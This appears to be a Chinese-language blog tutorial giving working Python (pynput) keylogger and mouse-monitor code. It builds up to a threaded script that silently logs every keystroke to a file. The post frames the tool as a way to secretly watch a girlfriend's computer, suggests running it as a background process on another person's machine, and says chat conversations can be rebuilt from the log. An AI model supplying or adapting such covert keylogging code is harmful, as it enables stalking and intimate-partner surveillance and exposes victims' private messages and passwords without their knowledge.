利用Python实现键盘鼠标监控,女友的一切秘密都在我的掌控之中

Python电脑键盘及鼠标记录程序,电脑监视程序,程序运行截图:

利用Python实现键盘鼠标监控,女友的一切秘密都在我的掌控之中

1.使用pynput库
pynput 可以监控我们的键盘和鼠标。目前具有此类功能的库有很多,比如 pygame 等游戏库,但是当我们只需要监控键盘和鼠标时,它们就显得过于笨重了。

2.对键盘监控
在他的电脑常驻一个后台进程去实现监控键盘输入并记录下来,代码大概可以这样:

from pynput import keyboard
def on_press(key):
    print(f'{key} :pushed')
 def on_release(key):
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
    lsn.join()

3.对鼠标监控

from pynput import mouse
 
def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        print('left was pressed!')
    elif button == mouse.Button.right:
        print('right was pressed!')
        return False
    else:
        print('mid was pressed!')
 
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
    listener.join()

你会发现,每条打印都被打印了两次,这是因为按下去和抬起来都会触发鼠标事件。

4.监控并记录到日志文件

from pynput import keyboard,mouse
from loguru import logger
from threading import Thread
 
# 定义日志文件
logger.add('demo.log')
def on_press(key):
    logger.debug(f'{key} :pushed') 
def on_release(key):
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False
# 定义f1用于线程1
def f1():
    with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
        lsn.join()
def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        logger.debug('left was pressed!')
    elif button == mouse.Button.right:
        logger.debug('right was pressed!')
        return False
    else:
        logger.debug('mid was pressed!') 
# 定义f2用于线程2
def f2():
    # Collect events until released
    with mouse.Listener(on_click=on_click) as listener:
        listener.join()
if __name__ == '__main__':
    # 起两个线程分别监控键盘和鼠标
    t1 = Thread(target=f1)
    t2 = Thread(target=f2)
    t1.start()
    t2.start()

利用Python实现键盘鼠标监控,女友的一切秘密都在我的掌控之中

 这样键盘操作已经全部被记录,通过对这个日志文件进行简单的 NLTK 语言处理,就能复原聊天记录。

 

上一篇:7-3 USB接口的定义 (10 分)


下一篇:vim配置文件